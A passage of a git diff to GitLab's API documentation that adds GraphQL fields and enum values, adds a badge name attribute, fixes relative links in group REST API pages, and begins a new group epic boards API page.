id="snippetdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="snippetdiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | <a id="snippetfilename"></a>`fileName` | [`String`](#string) | File Name of the snippet. | | <a id="snippethttpurltorepo"></a>`httpUrlToRepo` | [`String`](#string) | HTTP URL to the snippet repository. | @@ -19832,7 +20257,9 @@ Represents a Suggested Reviewers result set. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="suggestedreviewerstypeaccepted"></a>`accepted` | [`[String!]`](#string) | List of accepted reviewer usernames. | +| <a id="suggestedreviewerstypecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the suggestions were created. | | <a id="suggestedreviewerstypesuggested"></a>`suggested` | [`[String!]!`](#string) | List of suggested reviewer usernames. | +| <a id="suggestedreviewerstypeupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the suggestions were updated. | ### `SystemNoteMetadata` @@ -20144,7 +20571,7 @@ Representing a to-do entry. | ---- | ---- | ----------- | | <a id="topicavatarurl"></a>`avatarUrl` | [`String`](#string) | URL to avatar image file of the topic. | | <a id="topicdescription"></a>`description` | [`String`](#string) | Description of the topic. | -| <a id="topicdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="topicdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="topicid"></a>`id` | [`ID!`](#id) | ID of the topic. | | <a id="topicname"></a>`name` | [`String!`](#string) | Name of the topic. | | <a id="topictitle"></a>`title` | [`String!`](#string) | Title of the topic. | @@ -20385,6 +20812,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="usercorereviewrequestedmergerequestsupdatedafter"></a>`updatedAfter` | [`Time`](#time) | Merge requests updated after this timestamp. | | <a id="usercorereviewrequestedmergerequestsupdatedbefore"></a>`updatedBefore` | [`Time`](#time) | Merge requests updated before this timestamp. | +##### `UserCore.savedReply` + +Saved reply authored by the user. Will not return saved reply if `saved_replies` feature flag is disabled. + +Returns [`SavedReply`](#savedreply). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="usercoresavedreplyid"></a>`id` | [`UsersSavedReplyID!`](#userssavedreplyid) | ID of a saved reply. | + ##### `UserCore.snippets` Snippets authored by the user. @@ -20537,7 +20976,7 @@ Represents a vulnerability. | <a id="vulnerabilityconfirmedat"></a>`confirmedAt` | [`Time`](#time) | Timestamp of when the vulnerability state was changed to confirmed. | | <a id="vulnerabilityconfirmedby"></a>`confirmedBy` | [`UserCore`](#usercore) | User that confirmed the vulnerability. | | <a id="vulnerabilitydescription"></a>`description` | [`String`](#string) | Description of the vulnerability. | -| <a id="vulnerabilitydescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="vulnerabilitydescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="vulnerabilitydetails"></a>`details` | [`[VulnerabilityDetail!]!`](#vulnerabilitydetail) | Details of the vulnerability. | | <a id="vulnerabilitydetectedat"></a>`detectedAt` | [`Time!`](#time) | Timestamp of when the vulnerability was first detected. | | <a id="vulnerabilitydiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | @@ -20562,6 +21001,7 @@ Represents a vulnerability. | <a id="vulnerabilityscanner"></a>`scanner` | [`VulnerabilityScanner`](#vulnerabilityscanner) | Scanner metadata for the vulnerability. | | <a id="vulnerabilityseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL). | | <a id="vulnerabilitystate"></a>`state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED). | +| <a id="vulnerabilitystatecomment"></a>`stateComment` | [`String`](#string) | Comment given for the vulnerability state change. | | <a id="vulnerabilitytitle"></a>`title` | [`String`](#string) | Title of the vulnerability. | | <a id="vulnerabilityupdatedat"></a>`updatedAt` | [`Time`](#time) | Timestamp of when the vulnerability was last updated. | | <a id="vulnerabilityusernotescount"></a>`userNotesCount` | [`Int!`](#int) | Number of user notes attached to the vulnerability. | @@ -20984,6 +21424,17 @@ Check permissions for the current user on a vulnerability. | <a id="vulnerabilitypermissionsreadvulnerabilityfeedback"></a>`readVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `read_vulnerability_feedback` on this resource. | | <a id="vulnerabilitypermissionsupdatevulnerabilityfeedback"></a>`updateVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `update_vulnerability_feedback` on this resource. | +### `VulnerabilityRemediationType` + +Represents a vulnerability remediation type. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="vulnerabilityremediationtypediff"></a>`diff` | [`String`](#string) | Diff of the remediation. | +| <a id="vulnerabilityremediationtypesummary"></a>`summary` | [`String`](#string) | Summary of the remediation. | + ### `VulnerabilityRequest` Represents a Vulnerability Request. @@ -21105,18 +21556,19 @@ Represents vulnerability letter grades with associated projects. | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="workitemauthor"></a>`author` **{warning-solid}** | [`UserCore`](#usercore) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. User that created the work item. | | <a id="workitemclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the work item was closed. | | <a id="workitemconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the work item is confidential. | | <a id="workitemcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the work item was created. | | <a id="workitemdescription"></a>`description` | [`String`](#string) | Description of the work item. | -| <a id="workitemdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="workitemdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="workitemid"></a>`id` | [`WorkItemID!`](#workitemid) | Global ID of the work item. | | <a id="workitemiid"></a>`iid` | [`ID!`](#id) | Internal ID of the work item. | | <a id="workitemlockversion"></a>`lockVersion` | [`Int!`](#int) | Lock version of the work item. Incremented each time the work item is updated. | | <a id="workitemproject"></a>`project` **{warning-solid}** | [`Project!`](#project) | **Introduced** in 15.3. This feature is in Alpha. It can be changed or removed at any time. Project the work item belongs to. | | <a id="workitemstate"></a>`state` | [`WorkItemState!`](#workitemstate) | State of the work item. | | <a id="workitemtitle"></a>`title` | [`String!`](#string) | Title of the work item. | -| <a id="workitemtitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="workitemtitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="workitemupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the work item was last updated. | | <a id="workitemuserpermissions"></a>`userPermissions` | [`WorkItemPermissions!`](#workitempermissions) | Permissions for the current user on the resource. | | <a id="workitemweburl"></a>`webUrl` | [`String`](#string) | URL of this object. | @@ -21131,6 +21583,7 @@ Check permissions for the current user on a work item. | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="workitempermissionsadminworkitem"></a>`adminWorkItem` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_work_item` on this resource. | | <a id="workitempermissionsdeleteworkitem"></a>`deleteWorkItem` | [`Boolean!`](#boolean) | Indicates the user can perform `delete_work_item` on this resource. | | <a id="workitempermissionsreadworkitem"></a>`readWorkItem` | [`Boolean!`](#boolean) | Indicates the user can perform `read_work_item` on this resource. | | <a id="workitempermissionsupdateworkitem"></a>`updateWorkItem` | [`Boolean!`](#boolean) | Indicates the user can perform `update_work_item` on this resource. | @@ -21167,7 +21620,7 @@ Represents a description widget. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="workitemwidgetdescriptiondescription"></a>`description` | [`String`](#string) | Description of the work item. | -| <a id="workitemwidgetdescriptiondescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="workitemwidgetdescriptiondescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="workitemwidgetdescriptionedited"></a>`edited` | [`Boolean!`](#boolean) | Whether the description has been edited since the work item was created. | | <a id="workitemwidgetdescriptionlasteditedat"></a>`lastEditedAt` | [`Time`](#time) | Timestamp of when the work item's description was last edited. | | <a id="workitemwidgetdescriptionlasteditedby"></a>`lastEditedBy` | [`UserCore`](#usercore) | User that made the last edit to the work item's description. | @@ -21304,6 +21757,17 @@ Represents a status widget. | <a id="workitemwidgetstatusstatus"></a>`status` | [`String`](#string) | Status of the work item. | | <a id="workitemwidgetstatustype"></a>`type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. | +### `WorkItemWidgetTestReports` + +Represents a test reports widget. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="workitemwidgettestreportstestreports"></a>`testReports` | [`TestReportConnection`](#testreportconnection) | Test reports of the work item. (see [Connections](#connections)) | +| <a id="workitemwidgettestreportstype"></a>`type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. | + ### `WorkItemWidgetWeight` Represents a weight widget. @@ -21594,6 +22058,15 @@ Deploy freeze period status. | <a id="cijobstatussuccess"></a>`SUCCESS` | A job that is success. | | <a id="cijobstatuswaiting_for_resource"></a>`WAITING_FOR_RESOURCE` | A job that is waiting for resource. | +### `CiJobTokenScopeDirection` + +Direction of access. + +| Value | Description | +| ----- | ----------- | +| <a id="cijobtokenscopedirectioninbound"></a>`INBOUND` | Target projects in the inbound allowlist can access the scope project through their job tokens. | +| <a id="cijobtokenscopedirectionoutbound"></a>`OUTBOUND` | Job token scope project can access target project in the outbound allowlist. | + ### `CiRunnerAccessLevel` | Value | Description | @@ -21659,6 +22132,15 @@ Values for sorting runners. | <a id="cirunnerupgradestatusnot_available"></a>`NOT_AVAILABLE` | Upgrade is not available for the runner. | | <a id="cirunnerupgradestatusrecommended"></a>`RECOMMENDED` | Upgrade is available and recommended for the runner. | +### `CiVariableSort` + +Values for sorting variables. + +| Value | Description | +| ----- | ----------- | +| <a id="civariablesortkey_asc"></a>`KEY_ASC` | Sorted by key in ascending order. | +| <a id="civariablesortkey_desc"></a>`KEY_DESC` | Sorted by key in descending order. | + ### `CiVariableType` | Value | Description | @@ -22212,6 +22694,15 @@ User permission on groups. | <a id="grouppermissioncreate_projects"></a>`CREATE_PROJECTS` | Groups where the user can create projects. | | <a id="grouppermissiontransfer_projects"></a>`TRANSFER_PROJECTS` | Groups where the user can transfer projects to. | +### `GroupReleaseSort` + +Values for sorting releases belonging to a group. + +| Value | Description | +| ----- | ----------- | +| <a id="groupreleasesortreleased_at_asc"></a>`RELEASED_AT_ASC` | Released at by ascending order. | +| <a id="groupreleasesortreleased_at_desc"></a>`RELEASED_AT_DESC` | Released at by descending order. | + ### `HealthStatus` Health status of an issue or epic. @@ -22648,6 +23139,7 @@ Values for sorting projects. | Value | Description | | ----- | ----------- | +| <a id="namespaceprojectsortactivity_desc"></a>`ACTIVITY_DESC` | Sort by latest activity, in descending order. | | <a id="namespaceprojectsortsimilarity"></a>`SIMILARITY` | Most similar to the search query. | | <a id="namespaceprojectsortstorage"></a>`STORAGE` | Sort by storage size. | @@ -23309,6 +23801,7 @@ Verification status of a GPG or X.509 signature for a commit. | ----- | ----------- | | <a id="verificationstatusmultiple_signatures"></a>`MULTIPLE_SIGNATURES` | multiple_signatures verification status. | | <a id="verificationstatusother_user"></a>`OTHER_USER` | other_user verification status. | +| <a id="verificationstatusrevoked_key"></a>`REVOKED_KEY` | revoked_key verification status. | | <a id="verificationstatussame_user_different_email"></a>`SAME_USER_DIFFERENT_EMAIL` | same_user_different_email verification status. | | <a id="verificationstatusunknown_key"></a>`UNKNOWN_KEY` | unknown_key verification status. | | <a id="verificationstatusunverified"></a>`UNVERIFIED` | unverified verification status. | @@ -23507,6 +24000,7 @@ Type of a work item widget. | <a id="workitemwidgettyperequirement_legacy"></a>`REQUIREMENT_LEGACY` | Requirement Legacy widget. | | <a id="workitemwidgettypestart_and_due_date"></a>`START_AND_DUE_DATE` | Start And Due Date widget. | | <a id="workitemwidgettypestatus"></a>`STATUS` | Status widget. | +| <a id="workitemwidgettypetest_reports"></a>`TEST_REPORTS` | Test Reports widget. | | <a id="workitemwidgettypeweight"></a>`WEIGHT` | Weight widget. | ## Scalar types @@ -23724,6 +24218,12 @@ A `DependencyProxyManifestID` is a global ID. It is encoded as a string. An example `DependencyProxyManifestID` is: `"gid://gitlab/DependencyProxy::Manifest/1"`. +### `DeploymentID` + +A `DeploymentID` is a global ID. It is encoded as a string. + +An example `DeploymentID` is: `"gid://gitlab/Deployment/1"`. + ### `DescriptionVersionID` A `DescriptionVersionID` is a global ID. It is encoded as a string. @@ -23882,6 +24382,12 @@ A `IssueID` is a global ID. It is encoded as a string. An example `IssueID` is: `"gid://gitlab/Issue/1"`. +### `IssueParentID` + +A `IssueParentID` is a global ID. It is encoded as a string. + +An example `IssueParentID` is: `"gid://gitlab/IssueParent/1"`. + ### `IterationID` A `IterationID` is a global ID. It is encoded as a string. @@ -24742,6 +25248,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="userreviewrequestedmergerequestsupdatedafter"></a>`updatedAfter` | [`Time`](#time) | Merge requests updated after this timestamp. | | <a id="userreviewrequestedmergerequestsupdatedbefore"></a>`updatedBefore` | [`Time`](#time) | Merge requests updated before this timestamp. | +###### `User.savedReply` + +Saved reply authored by the user. Will not return saved reply if `saved_replies` feature flag is disabled. + +Returns [`SavedReply`](#savedreply). + +####### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="usersavedreplyid"></a>`id` | [`UsersSavedReplyID!`](#userssavedreplyid) | ID of a saved reply. | + ###### `User.snippets` Snippets authored by the user. @@ -24836,6 +25354,7 @@ Implementations: - [`WorkItemWidgetRequirementLegacy`](#workitemwidgetrequirementlegacy) - [`WorkItemWidgetStartAndDueDate`](#workitemwidgetstartandduedate) - [`WorkItemWidgetStatus`](#workitemwidgetstatus) +- [`WorkItemWidgetTestReports`](#workitemwidgettestreports) - [`WorkItemWidgetWeight`](#workitemwidgetweight) ##### Fields @@ -25041,6 +25560,7 @@ Values for ordering deployments by a specific field. | <a id="epicfilterslabelname"></a>`labelName` | [`[String]`](#string) | Filter by label name. | | <a id="epicfiltersmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. Wildcard values "NONE" and "ANY" are supported. | | <a id="epicfiltersnot"></a>`not` | [`NegatedEpicBoardIssueInput`](#negatedepicboardissueinput) | Negated epic arguments. | +| <a id="epicfiltersor"></a>`or` | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="epicfilterssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | ### `EpicTreeNodeFieldsInputType` @@ -25231,6 +25751,14 @@ Fields that are available when modifying release assets. | ---- | ---- | ----------- | | <a id="releaseassetsinputlinks"></a>`links` | [`[ReleaseAssetLinkInput!]`](#releaseassetlinkinput) | List of asset links to associate to the release. | +### `RequirementLegacyFilterInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="requirementlegacyfilterinputlegacyiids"></a>`legacyIids` | [`[String!]!`](#string) | List of legacy requirement IIDs of work items. or example `["1", "2"]`. | + ### `SastCiConfigurationAnalyzersEntityInput` Represents the analyzers entity in SAST CI configuration. @@ -25307,6 +25835,15 @@ A time-frame defined as a closed inclusive range of two dates. | <a id="timeframeend"></a>`end` | [`Date!`](#date) | End of the range. | | <a id="timeframestart"></a>`start` | [`Date!`](#date) | Start of the range. | +### `UnionedEpicFilterInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="unionedepicfilterinputauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filters epics that are authored by one of the given users. | +| <a id="unionedepicfilterinputlabelname"></a>`labelName` | [`[String!]`](#string) | Filters epics that have at least one of the given labels. | + ### `UnionedIssueFilterInput` #### Arguments diff --git a/doc/api/group_access_tokens.md b/doc/api/group_access_tokens.md index 2f3459a6121..82065590b33 100644 --- a/doc/api/group_access_tokens.md +++ b/doc/api/group_access_tokens.md @@ -20,7 +20,7 @@ GET groups/:id/access_tokens | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/<group_id>/access_tokens" @@ -56,7 +56,7 @@ GET groups/:id/access_tokens/:token_id | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `token_id` | integer or string | yes | ID of the group access token | ```shell @@ -92,7 +92,7 @@ POST groups/:id/access_tokens | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `name` | String | yes | Name of the group access token | | `scopes` | `Array[String]` | yes | [List of scopes](../user/group/settings/group_access_tokens.md#scopes-for-a-group-access-token) | | `access_level` | Integer | no | Access level. Valid values are `10` (Guest), `20` (Reporter), `30` (Developer), `40` (Maintainer), and `50` (Owner). | @@ -135,7 +135,7 @@ DELETE groups/:id/access_tokens/:token_id | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer or string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `token_id` | integer or string | yes | ID of the group access token | ```shell diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index 46f0a28e945..ede7591c6d1 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -36,7 +36,7 @@ GET /groups/:id/badges | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | no | Name of the badges to return (case-sensitive). | ```shell @@ -69,7 +69,7 @@ GET /groups/:id/badges/:badge_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `badge_id` | integer | yes | The badge ID | ```shell @@ -80,6 +80,7 @@ Example response: ```json { + "name": "Coverage", "id": 1, "link_url": "http://example.com/ci_status.svg?project=%{project_path}&ref=%{default_branch}", "image_url": "https://shields.io/my/badge", @@ -99,13 +100,14 @@ POST /groups/:id/badges | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `link_url` | string | yes | URL of the badge link | | `image_url` | string | yes | URL of the badge image | +| `name` | string | no | Name of the badge | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ - --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&position=0" \ + --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&name=mybadge&position=0" \ "https://gitlab.example.com/api/v4/groups/:id/badges" ``` @@ -114,6 +116,7 @@ Example response: ```json { "id": 1, + "name": "mybadge", "link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", "image_url": "https://shields.io/my/badge1", "rendered_link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", @@ -132,10 +135,11 @@ PUT /groups/:id/badges/:badge_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `badge_id` | integer | yes | The badge ID | | `link_url` | string | no | URL of the badge link | | `image_url` | string | no | URL of the badge image | +| `name` | string | no | Name of the badge | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ @@ -147,6 +151,7 @@ Example response: ```json { "id": 1, + "name": "mybadge", "link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", "image_url": "https://shields.io/my/badge", "rendered_link_url": "https://gitlab.com/gitlab-org/gitlab-foss/commits/master", @@ -165,7 +170,7 @@ DELETE /groups/:id/badges/:badge_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `badge_id` | integer | yes | The badge ID | ```shell @@ -182,7 +187,7 @@ GET /groups/:id/badges/render | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `link_url` | string | yes | URL of the badge link| | `image_url` | string | yes | URL of the badge image | diff --git a/doc/api/group_boards.md b/doc/api/group_boards.md index d08a84aea61..f01c33607a7 100644 --- a/doc/api/group_boards.md +++ b/doc/api/group_boards.md @@ -21,7 +21,7 @@ GET /groups/:id/boards | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/boards" @@ -138,7 +138,7 @@ GET /groups/:id/boards/:board_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | ```shell @@ -252,7 +252,7 @@ POST /groups/:id/boards | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | yes | The name of the new board | ```shell @@ -291,7 +291,7 @@ PUT /groups/:id/boards/:board_id | Attribute | Type | Required | Description | | ---------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `name` | string | no | The new name of the board | | `hide_backlog_list` | boolean | no | Hide the Open list | @@ -359,7 +359,7 @@ DELETE /groups/:id/boards/:board_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | ```shell @@ -377,7 +377,7 @@ GET /groups/:id/boards/:board_id/lists | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | ```shell @@ -428,7 +428,7 @@ GET /groups/:id/boards/:board_id/lists/:list_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `list_id` | integer | yes | The ID of a board's list | @@ -460,7 +460,7 @@ POST /groups/:id/boards/:board_id/lists | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `label_id` | integer | yes | The ID of a label | @@ -501,7 +501,7 @@ PUT /groups/:id/boards/:board_id/lists/:list_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `list_id` | integer | yes | The ID of a board's list | | `position` | integer | yes | The position of the list | @@ -534,7 +534,7 @@ DELETE /groups/:id/boards/:board_id/lists/:list_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `list_id` | integer | yes | The ID of a board's list | diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md index ed50594c73a..daffda8340c 100644 --- a/doc/api/group_clusters.md +++ b/doc/api/group_clusters.md @@ -31,7 +31,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | Example request: @@ -100,7 +100,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | -------------- | -------- | ----------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -169,7 +169,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------------------------------------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `name` | string | yes | The name of the cluster | | `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | | `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | @@ -240,7 +240,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cluster_id` | integer | yes | The ID of the cluster | | `name` | string | no | The name of the cluster | | `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | @@ -325,7 +325,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------ | -------------- | -------- | ----------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/group_epic_boards.md b/doc/api/group_epic_boards.md new file mode 100644 index 00000000000..e85147a2868 --- /dev/null +++ b/doc/api/group_epic_boards.md @@ -0,0 +1,273 @@ +--- +stage: Plan +group: Product Planning +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Group epic boards API **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385903) in GitLab 15.9. + +Every API call to [group epic boards](../user/group/epics/epic_boards.md#epic-boards) must be authenticated. + +If a user is not a member of a group and 